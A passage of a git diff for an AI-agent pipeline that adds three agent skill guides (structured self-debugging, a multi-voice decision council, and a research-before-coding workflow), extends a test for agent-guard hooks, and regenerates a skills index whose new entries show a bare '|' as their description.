+' "$TMPL" 2>/dev/null && pass "template wires agent-guard on git commit + git push" || fail "template does not wire agent-guard on both matchers"
+
+# 3c. the guard scripts exist in the source tree
+if [ -f "$ROOT/pipeline/scripts/agent-guard.sh" ] && [ -f "$ROOT/pipeline/scripts/agent-guard.py" ]; then
+  pass "agent-guard.sh + agent-guard.py exist to back the hook"
+else
+  fail "agent-guard scripts missing"
+fi
+
 # 4. picker-contract documents the hook template + the phase-enforced caveat
 PC="$ROOT/pipeline/commands/multi-agent/refs/picker-contract.md"
 if grep -q "claude-hooks.json" "$PC" && grep -q "phase-enforced" "$PC"; then

package/pipeline/skills/.skills-index.json

@@ -1,7 +1,7 @@
 {
   "schemaVersion": "1.0.0",
-  "generatedAt": "2026-07-07T13:28:32.523Z",
-  "skillCount": 223,
+  "generatedAt": "2026-07-07T15:10:40.029Z",
+  "skillCount": 226,
   "entries": [
     {
       "name": "accessibility-compliance-accessibility-audit",
@@ -12,6 +12,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/accessibility-compliance-accessibility-audit/SKILL.md"
     },
+    {
+      "name": "agent-introspection-debugging",
+      "description": "|",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/agent-introspection-debugging/SKILL.md"
+    },
     {
       "name": "agentflow",
       "description": "Orchestrate autonomous AI development pipelines through your Kanban board (Asana, GitHub Projects, Linear). Manages multi-worker Claude Code dispatch, deterministic quality gates, adversarial review, per-task cost tracking, and crash-proof pipeline execution.",
@@ -327,6 +336,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/coreml/SKILL.md"
     },
+    {
+      "name": "council",
+      "description": "|",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/council/SKILL.md"
+    },
     {
       "name": "cryptokit",
       "description": "Use Apple CryptoKit for Swift cryptographic primitives. Use when hashing with SHA-2 or SHA-3, generating HMACs, encrypting with AES-GCM or ChaChaPoly, signing with P256/P384/P521/Curve25519 or ML-DSA keys, performing ECDH, HPKE, ML-KEM, or X-Wing key exchange, using Secure Enclave CryptoKit keys, or",
@@ -1569,6 +1587,15 @@
       "triggerPaths": [],
       "relativePath": "shared/external/room-database/SKILL.md"
     },
+    {
+      "name": "search-first",
+      "description": "|",
+      "platform": null,
+      "group": "external",
+      "triggerKeywords": [],
+      "triggerPaths": [],
+      "relativePath": "shared/external/search-first/SKILL.md"
+    },
     {
       "name": "shareplay-activities",
       "description": "Build shared real-time experiences using GroupActivities and SharePlay. Use when implementing shared media playback, collaborative app features, synchronized game state, or any FaceTime, Messages, AirDrop, or nearby visionOS group activity on iOS, macOS, tvOS, or visionOS.",

package/pipeline/skills/shared/external/agent-introspection-debugging/SKILL.md

@@ -0,0 +1,69 @@
+---
+name: agent-introspection-debugging
+version: 1.0.0
+description: |
+  Structured self-debugging for an agent that is stuck, looping, or failing
+  repeatedly. Replaces blind re-prompting with capture -> diagnose -> contained
+  recovery -> report. Use when the same step fails twice, a loop is not making
+  progress, tool calls keep erroring, or you are about to retry without a new
+  hypothesis.
+---
+
+# Agent Introspection Debugging
+
+When an agent is stuck, the instinct is to try again harder. That burns tokens
+and usually reproduces the failure. This is a workflow, not a hidden runtime:
+it forces you to name the failure, classify it, take the smallest action that
+changes the diagnosis, and report honestly  -  before retrying.
+
+## When to use
+
+- The same step failed twice, or a fix loop is not converging.
+- Tool calls keep erroring (connection refused, rate limit, stale state).
+- You are about to retry with no new hypothesis  -  the signal to stop and think.
+
+## Phase 1 — Capture
+
+Write the failure state down before acting:
+
+- Goal (what were you actually trying to do).
+- The exact error or wrong output.
+- Last successful step, and the first failing step.
+- What is repeating (same error? different each time?).
+- Environment assumptions (cwd, branch, service up, auth present).
+
+## Phase 2 — Diagnose
+
+Match the symptom to a cause before choosing an action:
+
+| Symptom | Likely cause | First check |
+| --- | --- | --- |
+| Hit max tool calls / no end | unbounded loop | is there a stop condition? |
+| Context overflow | unbounded notes/output | what is being accumulated? |
+| Connection refused | service/port down | is it running, right port? |
+| Rate limited (429) | retry storm | back off, not retry faster |
+| Diff/state looks stale | cwd or branch drift | pwd, current branch |
+| Tests still failing after "fix" | wrong hypothesis | re-read the actual assertion |
+
+## Phase 3 — Contained recovery
+
+Take the single smallest action that changes the diagnosis surface  -  not a
+broad rewrite. Change one variable, re-observe. The goal is new information,
+not a gamble on a fix.
+
+**Honesty guard:** do not claim recovery actions you are not actually
+performing. "Reset agent state," "cleared the cache," "restarted the service"
+are real only if you did them through a real tool. Narrating an imaginary
+auto-heal is worse than reporting that you are blocked.
+
+## Phase 4 — Introspection report
+
+Emit a short structured record:
+
+- Root cause (the confirmed one, not the first guess).
+- Result: `success` | `partial` | `blocked`.
+- Cost: rough tokens/time burned on the failure.
+- Preventive change: the rule, check, or guard that would stop this class of
+  failure next time  -  feed it back into the ledger or the plan.
+
+Then, and only then, retry  -  with the new hypothesis, not the old one.

package/pipeline/skills/shared/external/council/SKILL.md

@@ -0,0 +1,69 @@
+---
+name: council
+version: 1.0.0
+description: |
+  Convene a multi-voice council for ambiguous decisions, tradeoffs, and
+  go/no-go calls. Use when several valid paths exist and you need structured
+  disagreement before choosing, not code review or implementation planning.
+  Triggers on: "should we X or Y", "second opinion", "is this worth it",
+  "ship now or wait", requests for dissent or multiple perspectives.
+---
+
+# Council
+
+Convene a short panel of distinct advisory voices for a decision that has more
+than one credible answer. The point is structured disagreement: surface the
+tradeoffs and the strongest case against your leading option before you commit,
+so the choice survives contact with its own weaknesses.
+
+## When to use
+
+- A decision has multiple credible paths and no obvious winner.
+- You need the tradeoffs made explicit, not smoothed over.
+- Anchoring is a risk: the conversation has drifted toward one option and you
+  want it challenged on purpose.
+- A go / no-go would benefit from an adversarial pass.
+
+Examples: monorepo vs polyrepo, ship now vs hold for polish, feature-flag vs
+full rollout, build vs adopt, narrow scope vs keep strategic breadth.
+
+## When NOT to use
+
+| Instead of council | Use |
+| --- | --- |
+| Checking whether output is correct | a verification pass / tests |
+| Breaking a feature into steps | a planner |
+| Designing system architecture | an architect |
+| Finding bugs or security issues | a code reviewer |
+
+If there is a single correct answer discoverable from the code or the spec, do
+that work directly. Council is for genuine judgment calls.
+
+## The voices
+
+Run each as a distinct perspective (in-context, or as parallel sub-agents when
+the decision is high-stakes). Give each the same framing and ask for its
+strongest honest position, not a hedge.
+
+- **Skeptic** — attacks the leading option. What breaks it, what is being
+  assumed, what is the failure mode nobody is naming?
+- **Pragmatist** — optimizes for shipping and reversibility. What is the
+  cheapest path that keeps options open? What is good-enough now?
+- **Critic** — optimizes for long-term cost and coherence. What does this choice
+  lock in? What is the second-order effect in six months?
+
+Add a fourth domain voice (security, cost, UX) only when the decision hinges on
+that axis.
+
+## Protocol
+
+1. State the decision in one sentence and list the candidate options.
+2. Give each voice the same context; collect one crisp position + its single
+   strongest argument from each. No consensus-seeking at this stage.
+3. Surface the real disagreements as a tradeoff table (option x axis).
+4. Decide, and write down the losing option's best argument and the condition
+   under which you would revisit. A decision you cannot argue against is a
+   decision you have not understood.
+
+Keep it bounded: three voices, one round, one page. Council informs a choice; it
+does not replace making one.

package/pipeline/skills/shared/external/search-first/SKILL.md

@@ -0,0 +1,76 @@
+---
+name: search-first
+version: 1.0.0
+description: |
+  Research-before-coding workflow. Before writing a custom implementation,
+  check what already exists (repo utilities, installed libraries, packages,
+  internal components) and decide adopt / extend / compose / build on evidence.
+  Use at the start of any non-trivial feature or utility, especially when you
+  are about to reach for a new dependency or hand-roll something common.
+---
+
+# Search-First
+
+Reinventing an existing utility, or pulling a new dependency for something the
+codebase already solves, is one of the most common and most expensive agent
+mistakes. Search-first makes "does this already exist?" a required step before
+"how do I write it," and records the answer so the decision is auditable.
+
+## When to use
+
+- Starting a feature or utility that is plausibly a solved problem.
+- About to add a dependency (verify it is warranted and not already present).
+- About to hand-roll parsing, retry, caching, date math, validation, auth,
+  pagination, or any other well-trodden pattern.
+
+Skip it for genuinely novel, project-specific logic where no prior art exists.
+
+## The workflow
+
+### 0. Preflight (honesty gate)
+
+List the search channels actually available: the repo itself, installed
+dependencies, the package registry, internal component/skill catalogs, docs.
+If a channel is unreachable, say so explicitly. Never claim "nothing found"
+when a channel was simply not checked  -  silent skipping is the failure mode
+this step exists to prevent.
+
+### 1. Need analysis
+
+State in one line what capability is needed and the hard constraints
+(performance, license, platform, API shape). This is the query.
+
+### 2. Parallel search
+
+Search the channels concurrently, not one at a time:
+- the repo (existing utilities, similar call sites, patterns already in use);
+- installed dependencies (is it already a transitive capability?);
+- the package registry (mature options);
+- internal catalogs (components, skills, shared modules).
+
+### 3. Evaluate
+
+Score each candidate on functionality fit, maintenance/health, docs, license,
+and integration cost. Keep it to a short comparison, not a survey.
+
+### 4. Decide (matrix)
+
+| Situation | Decision |
+| --- | --- |
+| Existing thing fits as-is | **Adopt** |
+| Existing thing fits with a small addition | **Extend** it in place |
+| Two existing pieces combine to fit | **Compose** them |
+| Nothing fits and the need is real | **Build** minimal custom code |
+
+### 5. Implement
+
+Only now write code, and only the minimum the decision calls for. Record the
+decision and the rejected alternatives in the change description so the next
+person does not redo the search.
+
+## Anti-patterns
+
+- **Jumping to code** before step 0-4.
+- **Silent skipping** — reporting no prior art when a channel was down or
+  unchecked.
+- **Dependency reflex** — adding a package for a one-liner the repo already has.

package/pipeline/skills/skills-index.md

@@ -3,11 +3,12 @@
 > Auto-generated by `pipeline/scripts/build-skills-index.mjs`  -  do not hand-edit.
 > Regenerate with `node pipeline/scripts/build-skills-index.mjs`.
 
-**223 skills** across 5 groups.
+**226 skills** across 5 groups.
 
 | Group | Name | Platform | Description |
 |-------|------|----------|-------------|
 | external | `accessibility-compliance-accessibility-audit` |  -  | You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, i |
+| external | `agent-introspection-debugging` |  -  | \| |
 | external | `agentflow` |  -  | Orchestrate autonomous AI development pipelines through your Kanban board (Asana, GitHub Projects, Linear). Manages multi-worker Claude Code |
 | external | `alarmkit` |  -  | Implement AlarmKit alarms and countdown timers for iOS and iPadOS with Lock Screen, Dynamic Island, StandBy, and paired Apple Watch system U |
 | external | `android_ui_verification` |  -  | Automated end-to-end UI testing and verification on an Android Emulator using ADB. |
@@ -43,6 +44,7 @@
 | external | `core-motion` |  -  | Access Core Motion accelerometer, gyroscope, magnetometer, device-motion, pedometer, activity-recognition, altitude, headphone motion, batch |
 | external | `core-nfc` |  -  | Read and write NFC tags using CoreNFC. Use when scanning NDEF tags, reading ISO7816/ISO15693/FeliCa/MIFARE tags, writing NDEF messages, hand |
 | external | `coreml` |  -  | Integrate Core ML models in iOS apps for on-device machine learning inference. Covers model loading (.mlmodel, .mlpackage, .mlmodelc), predi |
+| external | `council` |  -  | \| |
 | external | `cryptokit` |  -  | Use Apple CryptoKit for Swift cryptographic primitives. Use when hashing with SHA-2 or SHA-3, generating HMACs, encrypting with AES-GCM or C |
 | external | `css-modern` |  -  | Modern CSS: container queries, nesting, @layer, Grid/Flexbox patterns, custom properties, animations, and transitions |
 | external | `database-patterns` |  -  | Database patterns: SQL best practices (PostgreSQL), indexing, query optimization, migrations, schema design, ORMs (SQLAlchemy, Prisma, Drizz |
@@ -181,6 +183,7 @@
 | external | `rest-api-design` |  -  | REST API design: HTTP methods, status codes, pagination, versioning, rate limiting, caching headers, OpenAPI documentation |
 | external | `retrofit-networking` |  -  | Build networking layers on Android with Retrofit, OkHttp, and Kotlin Coroutines. Covers suspend functions in API interfaces, OkHttp intercep |
 | external | `room-database` |  -  | Implement Room database persistence on Android with @Entity, @Dao, @Database, Flow-based reactive queries, TypeConverters for complex types, |
+| external | `search-first` |  -  | \| |
 | external | `shareplay-activities` |  -  | Build shared real-time experiences using GroupActivities and SharePlay. Use when implementing shared media playback, collaborative app featu |
 | external | `speech-recognition` |  -  | Transcribe speech to text using Apple's Speech framework. Use when implementing live microphone transcription with AVAudioEngine, recognizin |
 | external | `spm-build-analysis` |  -  | Analyze Swift Package Manager dependencies, package plugins, module variants, and CI-oriented build overhead that slow Xcode builds. Use whe |